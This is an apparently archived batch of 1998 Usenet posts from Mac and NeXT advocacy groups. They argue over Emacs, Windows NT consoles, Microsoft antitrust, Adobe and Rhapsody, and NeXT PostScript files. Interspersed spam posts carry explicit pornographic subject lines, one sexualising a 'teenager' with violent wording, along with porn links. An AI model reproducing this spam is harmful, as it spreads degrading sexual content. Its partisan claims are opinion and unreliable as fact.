> meaningless--it could have been the janitor.
>
> I'll take the CEO's statements.
Of course you will, it supports your viewpoint.
--
A world without the Mac is a step closer to utopia.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 17 Apr 1998 15:03:28 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <3537C3A0.64F45942@nstar.net>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM> <slrn6jdlpg.3u2.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> >No, no web browser, you have to get GNUscape Navigator for that
> >(although, touche, you're partly right).
>
> That's odd. Are you sure that there is no Emacs www client? I could
> have sworn that I saw one.
Not that I know of. GNUscape Navigator runs inside of emacs, so that may
be what you're thinking of.
> >There's no such thing as a local X session. X is a client-server display
> >protocol.
>
> If it is running on my local machine, then it is a local session. No need
> for word lawyering. (Just like a local VI session or my local keyboard...)
It's not word lawyering! You run what you call a local session through
the loopback network device; it's always over the network. Technically,
you're wrong.
And you're wrong anyway. You said that XEmacs requires a local X
session; it requires nothing of the sort, even if such a thing existed.
[cut]
> > By contrast, my entire X session is an IDE if I so choose.
>
> So can the whole WinNT shell. Add icons to your desktop. Add options to the
> start menu. Go nuts!
Er, it's not really the same. Believe me, I'm working on this very
thing, and it *isn't* what I'm talking about.
> >Ah, well, you can always run Cygwin-32, of course, turning COMMAND.COM
> ------------------------------------------------------------^^^^^^^^^^^
> >into little more than a vehicle for the POSIX-ized GNU shell
> >environment. That's not really the same thing, either, and it's
> >certainly not elegant, to say the least...
>
> Should be CMD.EXE.
I run a mix of NT and 95.
> And bash does not run *on* it, it runs on the NT
> console services subsystem. No CMD.EXE required.
Hm, my bad, I guess. I'm not entirely up to speed on the subject.
> The console layer is one of those things in NT that gets a bad rep.
> Don't think it is the same as running Bash on command.com, it isn't.
> It is a Win32 app with a console UI rather than GDI32/USER32 UI. With
> some minor hacking you can have a CLI app that draws to a GUI window,
> and vice versa.
Ah, but this is what I was trying to get at: is there anything I can do
about the console itself? By this I mean the 80x25 window to which
consoles (including CMD.EXE) default. This is super clumsy. Maybe it
seems superficial, but it's a significant drawback for me.
> >Yes, I know. But I'm finding that all of the cruft and crap soldered
> >onto VC actually inhibits productivity. I like the minimalist++
> >approach, rather than the Microsoft drill-down-from-the-kitchen-sink
>
> Emacs is hardly minimalist.
Emacs is as minimalist as I like it to be. That's exactly what I'm
describing above. Emacs doesn't do anything by default that I don't want
it to do. By contrast, I have been paring the shit out of VC++ simply
because it presents so much junk that I don't want or need.
[cut]
MJP
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Fri, 17 Apr 1998 16:31:50 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1704981631500001@130.130.117.53>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <geordie-1604981258310001@130.130.117.53> <35365564.6C61@CONVEX.COM> <geordie-1604981635370001@130.130.117.53> <35368CBE.7563@CONVEX.COM>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <35368CBE.7563@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
:Geordie Korper wrote:
snip
:> For the most part laws are
:> designed to be enforced in order to create a state that best approximates
:> the intentions of the society that makes them.
:
:Sorry, in my book laws are designed to preserve liberty. Again:
:expedience versus liberty. Your rule of best-good approximation cannot
:be compatible with liberty, period. There is no fundamental difference
:between the politics you espouse and the politics of Benito Mussolini
:(who is responsible for the quote in my previous post).
I readily admit to being an anarcho-fascist (nobody has the right to make
laws that affect me and I have the right to make laws that affect
everyone). I was well aware of where your quote came from. One of the
things that is sometimes said in defence of italian fascisim is that at
least the trains ran on time. Which is why I said that in my response to
your quote in the previous post.
In point of fact I have found that Amtrak does have trains that run on
time. Unfortunately they also often do not run at the times, speeds, or
frequencies that the market wants. I would be quite happy to see the
government get out of the railway business and most other businesses that
are not part of its mandate. Since I do not believe monopolies should be
allowed to exist I certainly do not think the government should run them.
My comment about the trains running on times was not meant to truly be an
argument for facism. Both facism and socialism are not desireable states.
Anyway to get back to the point you were making, liberty is a worthwhile
goal. Law (from the scandinavian word lagu or lie) is made in order to
maximize the sum of the freedoms of a society. I believe that the equation
should be weighted so that the higher value is given to a smaller amount
of freedom for many than a huge amount of freedom for a very few. In other
words at the point that your excercising your liberty encroaches too far
upon the liberties of many other people you should be stopped.
Yes, laws are designed to preserve liberty. That is why I want laws that
prevent organizations from taking away my liberty. The whole point of
anti-trust law is exactly that. If a company says anytime you sell another
company's product you have to charge the purchaser for our product too, do
I as a consumer really have liberty to choose something different. I
fundamentally believe that people have the right to greater liberty than
companies. Therefore governments may have to occasionally forbid certain
companies' actions.
I also think that the governments should keep out of the way of the market
unless there is a very good reason to regulate it. As an example I think
that it is good that drug manufacturers must go through an approval
process in order to put their drugs on the market. I think it is wrong to
forbid them to put it on the market even if the consumer is informed of
the risks involved. The first prevents the manufacturer from infringing on
my freedom and second allows the government to infringe on my freedom.
Neither is right.
If we are not to use the "rule of best-good approximation" what are we
supposed to use? Should the government not have interfered with the
businesses that had signs that said no coloreds allowed. Maybe in a few
decades market forces would have solved the problem but government
meddling in the "free market" was in my opinion a very good idea in that
case.
:> The question is whether it is better to
:> be governed by the monopoly of Microsoft or the monopoly of a national
:> government.
:
:Until you recognize the fundamental difference between influence and
:Power, you will not understand why it is that government restricts
:Liberty, while Microsoft does not. Nor will you understand what it
:fundamentally means for government to intervene in the free market.
I do recognize that there is a fundamental difference between influence
and power. However if you achieve enough influence eventually it can be
converted to power. What stops Microsoft from being able to progress past
that threshold is that there is something which has already accumulated
enough influence to be able to buy the weapons and infrastructure to
enforce its will on Microsoft. In point of fact what allowed the
accumulation of power on the government's part is based on the monopolies
that it has. Just control of almost all transportation routes is probably
enough to keep the government in power.
Yes the government can force us to pay taxes because of its military power
but I do not believe that if the government spent 100% of its budget on
forcing people to pay taxes that it would be able to exist. There are
other reasons why people pay their taxes other than that they might go to
jail. There are advantages to having an organization that controls the
unregulated expansion of less benign influencers. Along with the myriad
other services people pay the government for that is a very useful
function.
Where we fundamentally disagree is that I believe that Microsoft is
perfectly capable of progressing past the point of influence to the point
of fascistic power. Sure it would not be able to support the military
budget of a superpower but could easily finance several countries military
expenditures. The question is why doesn't Microsoft do this. I doubt the
answer is free markets. I would imagine that it would be profitable for
them to do this and that other corporations would not be able to restrain
them.
snip
:
:> If you want to make a case that it is possible to have a
:> system that does not create some form of a monopoly then I am willing to
:> listen to your arguments but the fact that it has never occured in the
:> history of western civilization is strong evidence to the contrary.
:
:I do not argue with monopolies; to me they do not exist. "Monopoly", in
:modern parlance, is taken to represent some sort of Power. I know of no
Monopoly means "exclusive ownership whrough legal privilege, command of
supply or concerted action." This can then be leveraged into a position of
power. The organization can then inhibit freedom.
:free-market that has ever spawned such a beast. Market-spanning
:influence, however, is another thing, a natural phenomenon that can be
:observed dispassionately and even celebrated, on occasion (what is
:fundamentally different between Windows and ISO 9000? That you support
:one and not the other? The very basis of fascism). However, nobody is
:required to participate with *influential* entities; government is the
:only entity with the power to compel you to obey.
It depends where you draw the line. I live a few blocks from the
University of Chicago which has its own 75 member police force. They are
quite happy to compel me to obey their mandates. Yes, fundamentally their
power can be attributed to the willingness of the government to enforce
their rules but the university's agent is still the one that will put the
hand cuffs on me if I do not comply. A home owners association has the
power to prevent me from placing a huge sattelite dish in my front yard.
They also choose to use the state run enforcement monopoly to back it up.
I do not believe though that if the state run enforcement monopoly did not
exist that these institutions would decide to stop enforcing their will.
They would just hire other agents to do the enforcing.
:If that doesn't frighten you, I am sorry because it means that your vote
:is cast in opposition to Liberty, and that affects me. The more the
:public clamors for oppressive government action, the more delightedly
:the government (which is already heartily disposed toward such action)
:will execute the self-destructive commands of its people.
The issue that you seem to want to avoid addressing is why Microsoft or
another company would be concerned with my liberty at all. The government
is naturally hobbled by its design to prevent the loss of liberty.
Microsoft has no such system to prevent its theft of my liberty. It also
has no advantage in maintaining my liberty either. If you can explain to
me why I will have more freedom in an unrestricted market I would be happy
to listen to your arguments, but so far all I hear is that free markets
are good because you believe them to be good. You have yet to present any
reason that maintaining personal freedom is in the best interests of an
organization whose goal is to enhance shareholder value.
My own analysis is that an effective way of maximizing shareholder value
would be to enslave everyone who is not a shareholder and force them to
produce products for the shareholders. In the early days of the industrial
revolution this was tried but governments interceded and prevented these
practices. I admit that in a knowledge based economy it is almost
impossible to produce the neccessary inovation to maximize long term
shareholder value using facism, but boards usually go for short term value
anyway. One can always move your production to a different area and only
promote freedom in the specific area from which you want to derive your
market and talent pool. Again I have to ask why is a corporate board going
to want to promote liberty more than a government I elect.
to reword Linus
If FreeMarket actually did that, I would concede that FreeMarket was any more
"correct" than the justice department is, but not even the FreeMarket
people can justify that kind of performance loss.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: LaserPointers.com
Newsgroups: comp.sys.next.advocacy
Date: Fri, 17 Apr 1998 12:15:12 PDT
Subject: Check it out!
Organization: Email Platinum v.3.1b
Message-ID: <3537d48a.0@bonaparte.pixi.com>
Visit http://www.LaserPointers.com
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LaserPointer.com staff
Date: Fri, 17 Apr 1998 16:30:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Message-ID: <joe.ragosta-1704981630430001@wil69.dol.net>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul> <joe.ragosta-1704981435220001@wil68.dol.net> <MPG.fa15f20e91f57819896f4@news.itg.ti.com>
In article <MPG.fa15f20e91f57819896f4@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > What you have is:
> >
> > 1. Adobe's CEO gave 4 reasons for their problems. None of them involved
> > the Mac market as a whole.
> >
> > 2. MacWeek quoted an unnamed source at Adobe--not an official spokesman.
> > Without a name or title (or at least an official statement), it's
> > meaningless--it could have been the janitor.
> >
> > I'll take the CEO's statements.
>
>
> Of course you will, it supports your viewpoint.
No. I just prefer using information from a named, high level source rather
than unnamed sources spouting FUD.
But I can see why you'd prefer the unnamed sources spouting FUD. You seem
to have a hard time with providing facts to back up your position. These
unnamed source play right into your hand.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 20:28:07 GMT
Organization: Digital Fix Development
Message-ID: <6h8e0n$51f$1@news.digifix.com>
References: <6h6i6u$dl4$1@news.digifix.com> <B15C39F3-35CBA@207.217.155.163>
In-Reply-To: <B15C39F3-35CBA@207.217.155.163>
On 04/16/98, "Brad Hutchings" wrote:
>Scott wrote:
>
>> Did I say otherwise?
>
>Again, sorry for not knowing your Mac history. I don't want a pissing
>contest either.
>
>Maybe I misread your original post, but wasn't it something along the
lines
>of you not understanding why Mac developers have such an attachment
to
>Metrowerks?
My original post was about the fact that Apple's supporting
Metrowerks vs Cygnus isn't a reasonable comparision.
I KNOW that Metrowerks is important to Mac developers. I know
that they saved Apple's ass.
I also know that there is a manical loyalty to the IDE...
having used it some, I just don't understand it though..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 17 Apr 1998 20:31:09 GMT
Organization: Digital Fix Development
Message-ID: <6h8e6d$54l$1@news.digifix.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com>
In-Reply-To: <6h7506$74b$1@usenet52.supernews.com>
On 04/17/98, "Zico" wrote:
>x-no-archive: yes
>
>Scott Anguish wrote in message <6h3tmu$dpg$1@news.digifix.com>...
>>On 04/15/98, "NeXT Newbie" wrote:
>>>Maybe this is true, but its also true that Adobe has PUBLICLY
>>>stated that at this point they have no intention of porting theeir
>>>products to rhapsody because "rhapsody is being portrayed as a
>>>high end and server os"
>>
>> Thats not true Stephen..
>>
>> Adobe didn't make any sort of public statement of the type.
>>
>> Some representative (unnamed) claimed that they weren't
>>looking at it in a MacWeek quote. Hardly a public statement of
>>direction from Adobe proper.
>
>
>It was an Adobe *spokeswoman*. That sounds pretty official.
>Certainly Adobe can't be training their spokespeople to just
>make things up off the top of their heads.
>
No, it was a comment made by someone at Adobe.
Either way, it was denied shortly after that.
>> Funny, but Adobe has sent folks to the Developer Kitchen for
>>training in recent history (say, the last 2 months) according to my
>>sources...
>
>
>Is the Developer Kitchen a Rhapsody-only affair?
Yes.. its developer training.
>Whether
>it is or it isn't, it would behoove Adobe to at least check
>out what's going on with Rhapsody, so that if it *does*
>turn out to be an option for them, or for their competitors
>on other platforms they'll be ready to take any appropriate
>action.
>
If it was entirely 'off-the-scope' as this MacWeek article
claimed, one would doubt that they'd spend the time getting people
trained on it.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Manu Iyengar <root@127.0.0.1>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 16:50:55 -0700
Organization: Paradigm Systems Corporation
Message-ID: <7ybtu0rork.fsf@romulus>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org>
<B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM>
<slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM>
<slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net>
In-reply-to: Michael Peck's message of Fri, 17 Apr 1998 15:03:28 -0600
In article <3537C3A0.64F45942@nstar.net> Michael Peck <mjpeck@nstar.net> writes:
>Salvatore Denaro wrote:
>
>> That's odd. Are you sure that there is no Emacs www client? I could
>> have sworn that I saw one.
>
>Not that I know of. GNUscape Navigator runs inside of emacs, so that may
>be what you're thinking of.
Sure there is -- w3-mode.
-mi
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 17 Apr 1998 21:11:39 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6h8gib$hhj@newsb.netnews.att.com>
References: <3530F643.DEADA2A5@trilithon.com> <B15670BD-27C36@206.165.43.142> <6h5eoc$f5m@columbia.rl.gov>
Originator: gupta@tlctest
Inderjit "Indy" Gahir <Inderjit_S_Gahir@rl.gov> wrote:
>With all due respect Lawson, I've yet to see any market for Sanskrit
>DTP. India has a very diverse culture and consisting of several
>languages. And Hindi is the official "national" language. Sanskrit
>is used only for literary purposes.
Hindi, Marathi and Sanskrit use the same script, Devanagari.
Regardless, I imagine the DTP market is rather small. Also,
cheap Pentium boxes are the machines of choice.
-arun gupta
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 17 Apr 1998 14:17:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15D1613-5B377@206.165.43.62>
References: <6h8e6d$54l$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Scott Anguish <sanguish@digifix.com> said:
> >It was an Adobe *spokeswoman*. That sounds pretty official.
> >Certainly Adobe can't be training their spokespeople to just
> >make things up off the top of their heads.
> >
>
> No, it was a comment made by someone at Adobe.
>
> Either way, it was denied shortly after that.
>
URL?
My recollection is different and I'd like to check yours out.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Good news for YellowBox/Windows?
Newsgroups: comp.sys.next.advocacy
Message-ID: <3537ef10.0@news.depaul.edu>
Date: 18 Apr 98 00:08:48 GMT
A ruling against Intel may be useful against Microsoft, too.
A judge ruled that Intel can't keep information and/or
patent licenses from some companies, while providing them
to other companies.
The same principal would prevent Microsoft from withholding
information from Apple in order to hamper YellowBox development.
http://www.zdnet.com/pcweek/news/0413/17arule.html
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 17 Apr 1998 22:11:03 GMT
Organization: MiscKit Development
Message-ID: <6h8k1n$m43$1@news.xmission.com>
References: <6h0114$bnb$2@ns3.vrx.net> <B1598B35-5BAB4@206.165.43.216> <3534431D.AD9C2AA6@trilithon.com> <SCOTT.98Apr15232615@slave.doubleu.com> <6h8gg8$99h$1@news.idiom.com>
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> Scott Hess may or may not have said:
> -> Draw is a object drawing program. If a drawing program only needs %.5
> -> PS code to run under OpenStep, imagine how much a non-drawing program
> -> will need! Better get that Red Book, eh?
>
> Something that's even more telling than that:
>
> wc printPackage.ps
> 193 1037 8160 printPackage.ps
> wc windowPackage.ps
> 1962 5384 35806 windowPackage.ps
>
> So, all the ps code that implements the windowing system was done in 1,962
> lines. All the ps code for printing took up only 193 lines.
That's a good reason to pick up the red book, too. Become a PS guru and you,
too, can hack the window server code. You can change to point to focus
instead of click to focus (get thee behind me, Satan) and other wacky tricks.
BTW, there's also some PSWrap code in the ApplicationKit, but there's no way
to count that without having the sources. I doubt that it is all that much
of the code, percentage wise, though. In fact, it is probably miniscule.
To some degree representative, percentage wise, would probably be the NeXT
3DKit, a rather graphically intensive kit by its own right. It has 8800
lines, of which four are in a PSWrap. The rest is Objective-C.
> BTW, I haven't run the diffs, but AFAIK, neither of these files has been
> altered since around the time of NeXTStep 1.0.
They have, but not by much. Look at the modification dates on the files:
NeXTSTEP 3.3:
/usr/lib/NextStep
2 -r--r--r-- 1 root wheel 1991 Jan 15 1993 nlpPrintPackage.ps
8 -r--r--r-- 1 root wheel 8074 Mar 17 1993 printPackage.ps
2 -r--r--r-- 1 root wheel 1431 Feb 24 1992 printing.ps
35 -r--r--r-- 1 root wheel 35706 Oct 20 1994 windowPackage.ps
OPENSTEP 4.2:
/usr/lib/NextStep
2 -r--r--r-- 1 root wheel 1991 Jan 15 1993 nlpPrintPackage.ps
8 -r--r--r-- 1 root wheel 8074 Mar 17 1993 printPackage.ps
2 -r--r--r-- 1 root daemon 1431 Feb 24 1992 printing.ps
/NextLibrary/Frameworks/AppKit.framework/Resources
8 -r--r--r-- 1 root wheel 8160 Oct 17 1996 printPackage.ps
35 -r--r--r-- 1 root wheel 35806 Mar 28 1997 windowPackage.ps
The latter two were moved from the original location to become part of the
framework, and it looks like minor modifications were made to things...like
the copyright date. :-)
% diff /usr/lib/NextStep/printPackage.ps
/NextLibrary/Frameworks/AppKit.framework/Resources/printPackage.ps
2,4c2,7
< % NeXT Printing Package
< % Version: 3.1
< % Copyright: 1988, NeXT, Inc.
---
> %
> % printPackage.ps
> % Application Kit
> % Copyright (c) 1988-1996, NeXT Software, Inc.
> % All rights reserved.
> %
14a18,19
> 0 0 defineuserobject
> 1 null defineuserobject
If I check out the differences between the 3.3 and 4.2 windowPackage.ps I get
this:
128c128
< /version 2 def
---
> /version 4 def
580a581
> /Courier findfont setfont
1057c1058
< 1 index -16 bitshift
---
> 1 index -16 bitshift 255 and
1106c1107,1108
< dup 0 ne
---
> activeApp //CDKitVersion /currentContextData winexec
> 4 lt 1 index 0 ne and
Looks like they fixed a few minor bugs.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: tom@basil.icce.dev.rug.null.nl (Tom Hageman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 18 Apr 1998 02:09:38 GMT
Organization: Warty Wolfs
Sender: news@basil.icce.dev.rug.null.nl (NEWS pusher)
Message-ID: <ErL39M.MJy@basil.icce.dev.rug.null.nl>
References: <B15BE7A4-137E5A@207.217.155.43> <B15C6235-28491@206.165.43.169> <6h7p8t$58j$8@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <B15C6235-28491@206.165.43.169> "Lawson English" wrote:
> > Brad Hutchings <brad@hutchings-software.com> said:
> >
> > Do you remember that great incident on comp.sys.mac.programmer where
> > someone asked a question about investing in MW stock and first MW Ron
> > answered (I think) and then the president of Metrowerks answered and then
> > the BANKER for Metrowerks answered, each independently of the other?
> >
> > All on a programmer's newsgroup.
> >
> Oooh, gosh. You remember when Greg Andreson, president of AFS answered a
> question in comp.sys.next.* And Stan Jirman, president of Caffiene. And Wil
> Shipley, president of Omni Group. And...
Of course Lawson doesn't remember. He doesn't read comp.sys.next.*, only
crossposts to it...
--Tom.
}->
From: tom@basil.icce.dev.rug.null.nl (Tom Hageman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: 18 Apr 1998 02:09:53 GMT
Organization: Warty Wolfs
Sender: news@basil.icce.dev.rug.null.nl (NEWS pusher)
Message-ID: <ErL3Jr.MMJ@basil.icce.dev.rug.null.nl>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net> <6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net> <rmcassid-1504980928170001@dante.eng.uci.edu> <6h566g$58j$1@ironhorse.plsys.co.uk> <6h4pjr$4rk$1@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6h566g$58j$1@ironhorse.plsys.co.uk> mmalcolm crawford claimed:
> > Not to make a nationalistic point, but solely out of interest, are you sure
> > Turing's visit during 1943 didn't have anything to do with Purple? I did a
> > bit of searching to try to find the answer to this and didn't get anything
> > conclusive.
>
> Purple was broken before Pearl in '41. Thus, no, not on that visit anyway.
Fat lot of good did that do. Why were all those ships still in the harbour ?->
--Tom.
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Fri, 17 Apr 1998 19:26:42 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6h91i9$804$3@usenet49.supernews.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <6h7506$74b$1@usenet52.supernews.com> <01bd6a66$55617260$32f0bfa8@davidsul> <joe.ragosta-1704981435220001@wil68.dol.net>
Joe Ragosta wrote in message ...
>In article <01bd6a66$55617260$32f0bfa8@davidsul>, "NeXT Newbie"
><macghod@concentric.net> wrote:
>
>> WAIT WAIT WAIT!!
>> Scott just did a good job of getting rid of my fears, but now Zico has
>> brought them
>> right back :(
>> Who is right?
>>
>>
>> Adobe didn't make any sort of public statement of the type.
>> > >
>> > > Some representative (unnamed) claimed that they weren't
>> > >looking at it in a MacWeek quote. Hardly a public statement of
>> > >direction from Adobe proper.
>> >
>> >
>> > It was an Adobe *spokeswoman*. That sounds pretty official.
>> > Certainly Adobe can't be training their spokespeople to just
>> > make things up off the top of their heads.
>
>What you have is:
>
>1. Adobe's CEO gave 4 reasons for their problems. None of them involved
>the Mac market as a whole.
>
>2. MacWeek quoted an unnamed source at Adobe--not an official spokesman.
>Without a name or title (or at least an official statement), it's
>meaningless--it could have been the janitor.
>
>I'll take the CEO's statements.
But Joe, you'd be wrong, as would the people who support your
argument here. Your argument in #1, about Adobe's CEO has
*nothing* to do with my post about Adobe's support of Rhapsody.
Your statement about the 4 reasons is about whether or not
the *Mac* market is hurting Adobe. This has nothing to do
with any statements about planned support for Rhapsody.
You saying "I'll take the CEO's statements" is a complete
strawman, since he said nothing about Adobe's support for
Rhapsody, at least not in what you posted.
It boils down to ONE Adobe source saying that they have
no plans to develop for Rhapsody, versus ZERO Adobe
sources saying that they do plan to develop for Rhapsody.
I'll take the Adobe source over your non-existant person.
Z
From: nobody@nowhere33.yet
Newsgroups: comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops
Subject: Gorgeous teenager wants you to fuck her asshole until it bleeds! 95978
Date: Friday, 17 Apr 1998 22:57:05 -0600
Organization: <no organization>
Distribution: World
Message-ID: <17049822.5705@nowhere33.yet>
Check out our free assortment of MASSIVE HARDCORE XXXTREME PORN PICS
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From: systems@caribsurf.com
Newsgroups: comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops
Subject: ^&* HEATHER LOCKLER from the MERLOSE PLASE is in swin-suit. *&^ 98278
Date: Friday, 17 Apr 1998 23:01:36 -0600
Organization: <no organization>
Distribution: World
Message-ID: <17049823.0136@caribsurf.com>
http://xxx-18.com/xxx/
dTl%``JJy.Dt<rBaua]R
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: "Hock your Laptops"
Date: 18 Apr 1998 04:08:06 GMT
Organization: @Home Network
Message-ID: <6h98v6$qn9$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
ref: http://www.feedmag.com/cgi-bin/FeedlineLoop/deliverance.cgi?areanum=21:21
Search: Rhapsodies
Developer's who can't afford to make the pilgrimage to WWDC in May? It's time
to hock your laptops¼
-r
Rex Riley
From: nobody@nowhere33.yet
Newsgroups: comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops
Subject: Can you believe a pussy could strech so far? 44332
Date: Friday, 17 Apr 1998 23:16:09 -0600
Organization: <no organization>
Distribution: World
Message-ID: <17049823.1609@nowhere33.yet>
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From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open
Date: Fri, 17 Apr 98 23:33:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8ED5585.09B6006ADA.uuout@relaynet.org>
On 04/17/98, LAWSON ENGLISH, with no self-control, burbled:
LE> But Apple has a radically superior publishing system
LE> available in the form of GX.
Yawn.
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 18 Apr 1998 04:20:05 GMT
Organization: Digital Fix Development
Message-ID: <6h99ll$e8t$1@news.digifix.com>
References: <6h8ee9$54s$1@news.digifix.com> <B15D1673-5C9FF@206.165.43.62>
In-Reply-To: <B15D1673-5C9FF@206.165.43.62>
On 04/17/98, "Lawson English" wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>> These things do take time to roll out, and I'd be surprised if
>> the rolling out of this free stuff hasn't been done, in part, due
to
>> the changes that were just announced.
>
>
>
>Be surprised. I know of nothing that wasn't available 2 years ago
except
>Metrowerk's CodeWarrior Lite, which was available on their web-site
for
>several months before this announcement.
So what you're saying is that Apple is now offering a complete
(and according to the Mac faithful, amazing) IDE for free in the form
of CodeWarrior Lite..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: nobody@nowhere33.yet
Newsgroups: comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops
Subject: FUCKING and SUCKING! This gal has her PUSSY and her MOUTH full! 7314
Date: Saturday, 18 Apr 1998 00:02:58 -0600
Organization: <no organization>
Distribution: World
Message-ID: <18049800.0258@nowhere33.yet>
400 FREE PICS
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From: Moofie@cheerful.com
Newsgroups: comp.sys.next.advocacy
Subject: Is MS Faking Testimonials?
Date: Sat, 18 Apr 1998 01:27:36 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6h9h4n$cau$1@nnrp1.dejanews.com>
CMP has written that Microsoft has been engaging in "Black Ops" in faking
testimonals which are then described as "White Ops". For an instance of a
